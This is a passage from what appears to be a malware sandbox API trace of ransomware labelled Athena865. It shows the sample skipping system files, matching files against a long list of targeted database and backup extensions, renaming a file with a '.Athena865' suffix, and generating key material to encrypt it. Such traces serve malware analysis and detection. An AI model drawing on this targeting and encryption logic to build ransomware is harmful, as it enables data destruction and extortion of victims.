lstrcmpiW (lpString1="SLERROR.XML", lpString2="temp") returned -1 [0085.232] lstrcmpiW (lpString1="SLERROR.XML", lpString2="pagefile.sys") returned 1 [0085.232] lstrcmpiW (lpString1="SLERROR.XML", lpString2="boot") returned 1 [0085.232] lstrcmpiW (lpString1="SLERROR.XML", lpString2="ids.txt") returned 1 [0085.232] lstrcmpiW (lpString1="SLERROR.XML", lpString2="ntuser.dat") returned 1 [0085.233] lstrcmpiW (lpString1="SLERROR.XML", lpString2="perflogs") returned 1 [0085.233] lstrcmpiW (lpString1="SLERROR.XML", lpString2="MSBuild") returned 1 [0085.233] lstrlenW (lpString="SLERROR.XML") returned 11 [0085.233] lstrcpyW (in: lpString1=0x241e89e, lpString2="SLERROR.XML" | out: lpString1="SLERROR.XML") returned="SLERROR.XML" [0085.233] lstrlenW (lpString="SLERROR.XML") returned 11 [0085.233] lstrlenW (lpString="Athena865") returned 9 [0085.233] lstrcmpiW (lpString1="ERROR.XML", lpString2="Athena865") returned 1 [0085.233] lstrlenW (lpString=".dll") returned 4 [0085.233] lstrcmpiW (lpString1="SLERROR.XML", lpString2=".dll") returned 1 [0085.233] lstrlenW (lpString=".lnk") returned 4 [0085.233] lstrcmpiW (lpString1="SLERROR.XML", lpString2=".lnk") returned 1 [0085.233] lstrlenW (lpString=".ini") returned 4 [0085.233] lstrcmpiW (lpString1="SLERROR.XML", lpString2=".ini") returned 1 [0085.233] lstrlenW (lpString=".sys") returned 4 [0085.233] lstrcmpiW (lpString1="SLERROR.XML", lpString2=".sys") returned 1 [0085.233] lstrlenW (lpString="SLERROR.XML") returned 11 [0085.233] lstrlenW (lpString="bak") returned 3 [0085.233] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1 [0085.233] lstrlenW (lpString="ba_") returned 3 [0085.233] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1 [0085.233] lstrlenW (lpString="dbb") returned 3 [0085.233] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1 [0085.233] lstrlenW (lpString="vmdk") returned 4 [0085.233] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1 [0085.233] lstrlenW (lpString="rar") returned 3 [0085.233] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1 [0085.233] lstrlenW (lpString="zip") returned 3 [0085.233] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1 [0085.233] lstrlenW (lpString="tgz") returned 3 [0085.233] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1 [0085.233] lstrlenW (lpString="vbox") returned 4 [0085.233] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1 [0085.234] lstrlenW (lpString="vdi") returned 3 [0085.234] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1 [0085.234] lstrlenW (lpString="vhd") returned 3 [0085.234] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1 [0085.234] lstrlenW (lpString="vhdx") returned 4 [0085.234] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1 [0085.234] lstrlenW (lpString="avhd") returned 4 [0085.234] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1 [0085.234] lstrlenW (lpString="db") returned 2 [0085.234] lstrcmpiW (lpString1="ML", lpString2="db") returned 1 [0085.234] lstrlenW (lpString="db2") returned 3 [0085.234] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1 [0085.234] lstrlenW (lpString="db3") returned 3 [0085.234] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1 [0085.234] lstrlenW (lpString="dbf") returned 3 [0085.234] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1 [0085.234] lstrlenW (lpString="mdf") returned 3 [0085.234] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1 [0085.234] lstrlenW (lpString="mdb") returned 3 [0085.234] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1 [0085.234] lstrlenW (lpString="sql") returned 3 [0085.234] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1 [0085.234] lstrlenW (lpString="sqlite") returned 6 [0085.234] lstrcmpiW (lpString1="OR.XML", lpString2="sqlite") returned -1 [0085.234] lstrlenW (lpString="sqlite3") returned 7 [0085.234] lstrcmpiW (lpString1="ROR.XML", lpString2="sqlite3") returned -1 [0085.234] lstrlenW (lpString="sqlitedb") returned 8 [0085.234] lstrcmpiW (lpString1="RROR.XML", lpString2="sqlitedb") returned -1 [0085.234] lstrlenW (lpString="xml") returned 3 [0085.234] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0 [0085.234] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\SLERROR.XML.Athena865") returned 64 [0085.235] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\slerror.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SLERROR.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\slerror.xml.athena865"), dwFlags=0x1) returned 1 [0085.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SLERROR.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\slerror.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0085.238] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=33019) returned 1 [0085.238] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0085.239] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0085.239] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0085.239] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0085.240] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0085.240] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0085.240] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8400, lpName=0x0) returned 0x17c [0085.241] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8400) returned 0x100000 [0085.249] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0085.250] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0085.250] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0085.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0085.250] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0085.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0085.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0085.250] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0085.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0085.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0085.251] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0085.251] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0085.251] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0085.251] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0085.251] CloseHandle (hObject=0x17c) returned 1 [0085.251] CloseHandle (hObject=0x154) returned 1 [0085.251] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0085.251] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0085.251] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0085.252] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ebbec00, ftCreationTime.dwHighDateTime=0x1cab8a8, ftLastAccessTime.dwLowDateTime=0x84cd39e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3ebbec00, ftLastWriteTime.dwHighDateTime=0x1cab8a8, nFileSizeHigh=0x0, nFileSizeLow=0x37d70, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SMIGRATE.DLL", cAlternateFileName="")) returned 1 [0085.252] lstrcmpiW (lpString1="SMIGRATE.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0085.252] lstrcmpiW (lpString1="SMIGRATE.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0085.252] lstrcmpiW (lpString1="SMIGRATE.DLL", lpString2=".") returned 1 [0085.252] lstrcmpiW (lpString1="SMIGRATE.DLL", lpString2="..") returned 1 [0085.252] lstrcmpiW (lpString1="SMIGRATE.DLL", lpString2="windows") returned -1 [0085.252] lstrcmpiW (lpString1="SMIGRATE.DLL", lpString2="bootmgr") returned 1 [0085.252] lstrcmpiW (lpString1="SMIGRATE.DLL", lpString2="temp") returned -1 [0085.252] lstrcmpiW (lpString1="SMIGRATE.DLL", lpString2="pagefile.sys") returned 1 [0085.252] lstrcmpiW (lpString1="SMIGRATE.DLL", lpString2="boot") returned 1 [0085.252] lstrcmpiW (lpString1="SMIGRATE.DLL", lpString2="ids.txt") returned 1 [0085.252] lstrcmpiW (lpString1="SMIGRATE.DLL", lpString2="ntuser.dat") returned 1 [0085.252] lstrcmpiW (lpString1="SMIGRATE.DLL", lpString2="perflogs") returned 1 [0085.252] lstrcmpiW (lpString1="SMIGRATE.DLL", lpString2="MSBuild") returned 1 [0085.252] lstrlenW (lpString="SMIGRATE.DLL") returned 12 [0085.252] lstrcpyW (in: lpString1=0x241e89e, lpString2="SMIGRATE.DLL" | out: lpString1="SMIGRATE.DLL") returned="SMIGRATE.DLL" [0085.252] lstrlenW (lpString="SMIGRATE.DLL") returned 12 [0085.252] lstrlenW (lpString="Athena865") returned 9 [0085.252] lstrcmpiW (lpString1="GRATE.DLL", lpString2="Athena865") returned 1 [0085.252] lstrlenW (lpString=".dll") returned 4 [0085.252] lstrcmpiW (lpString1="SMIGRATE.DLL", lpString2=".dll") returned 1 [0085.252] lstrlenW (lpString=".lnk") returned 4 [0085.252] lstrcmpiW (lpString1="SMIGRATE.DLL", lpString2=".lnk") returned 1 [0085.252] lstrlenW (lpString=".ini") returned 4 [0085.252] lstrcmpiW (lpString1="SMIGRATE.DLL", lpString2=".ini") returned 1 [0085.252] lstrlenW (lpString=".sys") returned 4 [0085.252] lstrcmpiW (lpString1="SMIGRATE.DLL", lpString2=".sys") returned 1 [0085.252] lstrlenW (lpString="SMIGRATE.DLL") returned 12 [0085.252] lstrlenW (lpString="bak") returned 3 [0085.252] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0085.253] lstrlenW (lpString="ba_") returned 3 [0085.253] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0085.253] lstrlenW (lpString="dbb") returned 3 [0085.253] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0085.253] lstrlenW (lpString="vmdk") returned 4 [0085.253] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0085.253] lstrlenW (lpString="rar") returned 3 [0085.253] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0085.253] lstrlenW (lpString="zip") returned 3 [0085.253] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0085.253] lstrlenW (lpString="tgz") returned 3 [0085.253] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0085.253] lstrlenW (lpString="vbox") returned 4 [0085.253] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0085.253] lstrlenW (lpString="vdi") returned 3 [0085.253] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0085.253] lstrlenW (lpString="vhd") returned 3 [0085.253] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0085.253] lstrlenW (lpString="vhdx") returned 4 [0085.253] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0085.253] lstrlenW (lpString="avhd") returned 4 [0085.253] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0085.253] lstrlenW (lpString="db") returned 2 [0085.253] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0085.253] lstrlenW (lpString="db2") returned 3 [0085.253] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0085.253] lstrlenW (lpString="db3") returned 3 [0085.253] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0085.253] lstrlenW (lpString="dbf") returned 3 [0085.253] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0085.253] lstrlenW (lpString="mdf") returned 3 [0085.253] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0085.253] lstrlenW (lpString="mdb") returned 3 [0085.253] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0085.254] lstrlenW (lpString="sql") returned 3 [0085.254] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0085.254] lstrlenW (lpString="sqlite") returned 6 [0085.254] lstrcmpiW (lpString1="TE.DLL", lpString2="sqlite") returned 1 [0085.254] lstrlenW (lpString="sqlite3") returned 7 [0085.254] lstrcmpiW (lpString1="ATE.DLL", lpString2="sqlite3") returned -1 [0085.254] lstrlenW (lpString="sqlitedb") returned 8 [0085.254] lstrcmpiW (lpString1="RATE.DLL", lpString2="sqlitedb") returned -1 [0085.254] lstrlenW (lpString="xml") returned 3 [0085.254] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0085.254] lstrlenW (lpString="$er") returned 3 [0085.254] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0085.254] lstrlenW (lpString="4dd") returned 3 [0085.254] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0085.254] lstrlenW (lpString="4dl") returned 3 [0085.254] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0085.254] lstrlenW (lpString="^^^") returned 3 [0085.254] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0085.254] lstrlenW (lpString="abs") returned 3 [0085.254] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0085.254] lstrlenW (lpString="abx") returned 3 [0085.254] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0085.254] lstrlenW (lpString="accdb") returned 5 [0085.254] lstrcmpiW (lpString1="E.DLL", lpString2="accdb") returned 1 [0085.254] lstrlenW (lpString="accdc") returned 5 [0085.254] lstrcmpiW (lpString1="E.DLL", lpString2="accdc") returned 1 [0085.254] lstrlenW (lpString="accde") returned 5 [0085.254] lstrcmpiW (lpString1="E.DLL", lpString2="accde") returned 1 [0085.254] lstrlenW (lpString="accdr") returned 5 [0085.254] lstrcmpiW (lpString1="E.DLL", lpString2="accdr") returned 1 [0085.254] lstrlenW (lpString="accdt") returned 5 [0085.254] lstrcmpiW (lpString1="E.DLL", lpString2="accdt") returned 1 [0085.254] lstrlenW (lpString="accdw") returned 5 [0085.255] lstrcmpiW (lpString1="E.DLL", lpString2="accdw") returned 1 [0085.255] lstrlenW (lpString="accft") returned 5 [0085.255] lstrcmpiW (lpString1="E.DLL", lpString2="accft") returned 1 [0085.255] lstrlenW (lpString="adb") returned 3 [0085.255] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0085.255] lstrlenW (lpString="adb") returned 3 [0085.255] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0085.255] lstrlenW (lpString="ade") returned 3 [0085.255] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0085.255] lstrlenW (lpString="adf") returned 3 [0085.255] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0085.255] lstrlenW (lpString="adn") returned 3 [0085.255] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0085.255] lstrlenW (lpString="adp") returned 3 [0085.255] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0085.255] lstrlenW (lpString="alf") returned 3 [0085.255] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0085.255] lstrlenW (lpString="ask") returned 3 [0085.255] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0085.255] lstrlenW (lpString="btr") returned 3 [0085.255] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0085.255] lstrlenW (lpString="cat") returned 3 [0085.255] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0085.255] lstrlenW (lpString="cdb") returned 3 [0085.255] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0085.255] lstrlenW (lpString="ckp") returned 3 [0085.255] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0085.255] lstrlenW (lpString="cma") returned 3 [0085.255] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0085.255] lstrlenW (lpString="cpd") returned 3 [0085.255] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0085.256] lstrlenW (lpString="dacpac") returned 6 [0085.256] lstrcmpiW (lpString1="TE.DLL", lpString2="dacpac") returned 1 [0085.256] lstrlenW (lpString="dad") returned 3 [0085.256] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0085.256] lstrlenW (lpString="dadiagrams") returned 10 [0085.256] lstrcmpiW (lpString1="IGRATE.DLL", lpString2="dadiagrams") returned 1 [0085.256] lstrlenW (lpString="daschema") returned 8 [0085.256] lstrcmpiW (lpString1="RATE.DLL", lpString2="daschema") returned 1 [0085.256] lstrlenW (lpString="db-journal") returned 10 [0085.256] lstrcmpiW (lpString1="IGRATE.DLL", lpString2="db-journal") returned 1 [0085.256] lstrlenW (lpString="db-shm") returned 6 [0085.256] lstrcmpiW (lpString1="TE.DLL", lpString2="db-shm") returned 1 [0085.256] lstrlenW (lpString="db-wal") returned 6 [0085.256] lstrcmpiW (lpString1="TE.DLL", lpString2="db-wal") returned 1 [0085.256] lstrlenW (lpString="dbc") returned 3 [0085.256] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0085.256] lstrlenW (lpString="dbs") returned 3 [0085.256] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0085.256] lstrlenW (lpString="dbt") returned 3 [0085.256] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0085.256] lstrlenW (lpString="dbv") returned 3 [0085.256] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0085.256] lstrlenW (lpString="dbx") returned 3 [0085.256] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0085.256] lstrlenW (lpString="dcb") returned 3 [0085.256] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0085.256] lstrlenW (lpString="dct") returned 3 [0085.256] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0085.257] lstrlenW (lpString="dcx") returned 3 [0085.257] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0085.257] lstrlenW (lpString="ddl") returned 3 [0085.257] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0085.257] lstrlenW (lpString="dlis") returned 4 [0085.257] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0085.257] lstrlenW (lpString="dp1") returned 3 [0085.257] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0085.257] lstrlenW (lpString="dqy") returned 3 [0085.257] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0085.257] lstrlenW (lpString="dsk") returned 3 [0085.257] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0085.257] lstrlenW (lpString="dsn") returned 3 [0085.257] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0085.257] lstrlenW (lpString="dtsx") returned 4 [0085.257] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0085.257] lstrlenW (lpString="dxl") returned 3 [0085.257] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0085.257] lstrlenW (lpString="eco") returned 3 [0085.257] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0085.257] lstrlenW (lpString="ecx") returned 3 [0085.257] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0085.257] lstrlenW (lpString="edb") returned 3 [0085.257] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0085.257] lstrlenW (lpString="epim") returned 4 [0085.257] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0085.257] lstrlenW (lpString="fcd") returned 3 [0085.257] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0085.257] lstrlenW (lpString="fdb") returned 3 [0085.257] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0085.257] lstrlenW (lpString="fic") returned 3 [0085.257] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0085.257] lstrlenW (lpString="flexolibrary") returned 12 [0085.258] lstrlenW (lpString="fm5") returned 3 [0085.258] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0085.258] lstrlenW (lpString="fmp") returned 3 [0085.258] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0085.258] lstrlenW (lpString="fmp12") returned 5 [0085.258] lstrcmpiW (lpString1="E.DLL", lpString2="fmp12") returned -1 [0085.258] lstrlenW (lpString="fmpsl") returned 5 [0085.258] lstrcmpiW (lpString1="E.DLL", lpString2="fmpsl") returned -1 [0085.258] lstrlenW (lpString="fol") returned 3 [0085.258] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0085.258] lstrlenW (lpString="fp3") returned 3 [0085.258] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0085.258] lstrlenW (lpString="fp4") returned 3 [0085.258] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0085.258] lstrlenW (lpString="fp5") returned 3 [0085.258] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0085.258] lstrlenW (lpString="fp7") returned 3 [0085.258] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0085.258] lstrlenW (lpString="fpt") returned 3 [0085.258] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0085.258] lstrlenW (lpString="frm") returned 3 [0085.258] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0085.258] lstrlenW (lpString="gdb") returned 3 [0085.258] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0085.258] lstrlenW (lpString="gdb") returned 3 [0085.258] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0085.258] lstrlenW (lpString="grdb") returned 4 [0085.258] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0085.258] lstrlenW (lpString="gwi") returned 3 [0085.258] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0085.258] lstrlenW (lpString="hdb") returned 3 [0085.259] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0085.259] lstrlenW (lpString="his") returned 3 [0085.259] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0085.259] lstrlenW (lpString="ib") returned 2 [0085.259] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0085.259] lstrlenW (lpString="idb") returned 3 [0085.259] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0085.259] lstrlenW (lpString="ihx") returned 3 [0085.259] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0085.259] lstrlenW (lpString="itdb") returned 4 [0085.259] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0085.259] lstrlenW (lpString="itw") returned 3 [0085.259] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0085.259] lstrlenW (lpString="jet") returned 3 [0085.259] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0085.259] lstrlenW (lpString="jtx") returned 3 [0085.259] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0085.259] lstrlenW (lpString="kdb") returned 3 [0085.259] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0085.259] lstrlenW (lpString="kexi") returned 4 [0085.259] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0085.259] lstrlenW (lpString="kexic") returned 5 [0085.259] lstrcmpiW (lpString1="E.DLL", lpString2="kexic") returned -1 [0085.259] lstrlenW (lpString="kexis") returned 5 [0085.259] lstrcmpiW (lpString1="E.DLL", lpString2="kexis") returned -1 [0085.259] lstrlenW (lpString="lgc") returned 3 [0085.259] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0085.259] lstrlenW (lpString="lwx") returned 3 [0085.259] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0085.259] lstrlenW (lpString="maf") returned 3 [0085.259] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0085.259] lstrlenW (lpString="maq") returned 3 [0085.260] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0085.260] lstrlenW (lpString="mar") returned 3 [0085.260] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0085.260] lstrlenW (lpString="marshal") returned 7 [0085.260] lstrcmpiW (lpString1="ATE.DLL", lpString2="marshal") returned -1 [0085.260] lstrlenW (lpString="mas") returned 3 [0085.260] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0085.260] lstrlenW (lpString="mav") returned 3 [0085.260] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0085.260] lstrlenW (lpString="maw") returned 3 [0085.260] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0085.260] lstrlenW (lpString="mdbhtml") returned 7 [0085.260] lstrcmpiW (lpString1="ATE.DLL", lpString2="mdbhtml") returned -1 [0085.260] lstrlenW (lpString="mdn") returned 3 [0085.260] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0085.260] lstrlenW (lpString="mdt") returned 3 [0085.260] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0085.260] lstrlenW (lpString="mfd") returned 3 [0085.260] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0085.260] lstrlenW (lpString="mpd") returned 3 [0085.260] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0085.260] lstrlenW (lpString="mrg") returned 3 [0085.260] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0085.260] lstrlenW (lpString="mud") returned 3 [0085.260] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0085.260] lstrlenW (lpString="mwb") returned 3 [0085.260] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0085.260] lstrlenW (lpString="myd") returned 3 [0085.260] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0085.260] lstrlenW (lpString="ndf") returned 3 [0085.260] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0085.260] lstrlenW (lpString="nnt") returned 3 [0085.261] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0085.261] lstrlenW (lpString="nrmlib") returned 6 [0085.261] lstrcmpiW (lpString1="TE.DLL", lpString2="nrmlib") returned 1 [0085.261] lstrlenW (lpString="ns2") returned 3 [0085.261] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0085.261] lstrlenW (lpString="ns3") returned 3 [0085.261] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0085.261] lstrlenW (lpString="ns4") returned 3 [0085.261] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0085.261] lstrlenW (lpString="nsf") returned 3 [0085.261] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0085.261] lstrlenW (lpString="nv") returned 2 [0085.261] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0085.261] lstrlenW (lpString="nv2") returned 3 [0085.261] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0085.261] lstrlenW (lpString="nwdb") returned 4 [0085.261] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0085.261] lstrlenW (lpString="nyf") returned 3 [0085.261] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0085.261] lstrlenW (lpString="odb") returned 3 [0085.261] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0085.261] lstrlenW (lpString="odb") returned 3 [0085.261] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0085.261] lstrlenW (lpString="oqy") returned 3 [0085.261] lstrcmpiW 